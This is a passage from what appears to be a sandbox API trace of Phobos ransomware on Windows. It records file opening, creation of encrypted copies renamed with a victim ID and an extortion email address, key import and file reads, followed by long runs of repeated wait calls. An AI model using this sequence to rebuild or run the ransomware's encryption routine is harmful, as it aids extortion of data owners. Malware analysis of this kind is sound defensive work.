dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0064.828] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=1052672) returned 1 [0064.828] CloseHandle (hObject=0x2e4) returned 1 [0064.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0064.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0064.828] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0064.829] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0064.829] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0064.829] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0064.838] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10caf0) returned 1 [0064.838] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0064.838] ReadFile (hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0) Thread: id = 32 os_tid = 0x2d0 [0046.644] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x340090 [0046.644] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x350098 [0046.645] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x28) returned 0x84f68 [0046.645] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x110102) returned 0x2f80020 [0046.648] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x50) returned 0x84f98 [0046.648] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf888, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf8f0 | out: phKey=0x2bdf8f0*=0xf9500) returned 1 [0046.648] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x2bdf8d8, dwFlags=0x0) returned 1 [0046.648] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84f98, pdwDataLen=0x2bdf8a4 | out: pbData=0x84f98, pdwDataLen=0x2bdf8a4) returned 1 [0046.648] CryptDestroyKey (hKey=0xf9500) returned 1 [0046.648] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.648] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0046.648] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdf93c | out: OldValue=0x2bdf93c*=0x0) returned 1 [0046.648] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f98 | out: hHeap=0x80000) returned 1 [0046.648] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.648] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.648] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.648] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.648] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.649] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.650] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.651] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.652] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.653] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.654] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.655] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.656] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.657] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.658] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.659] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.659] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.659] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.659] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.659] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.659] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.659] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.659] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.660] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.661] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.662] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.663] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.664] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.665] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.666] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.667] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.668] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.669] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.670] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.670] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.670] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.670] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.670] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.670] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.810] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0046.810] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0046.824] GetFileSizeEx (in: hFile=0x308, 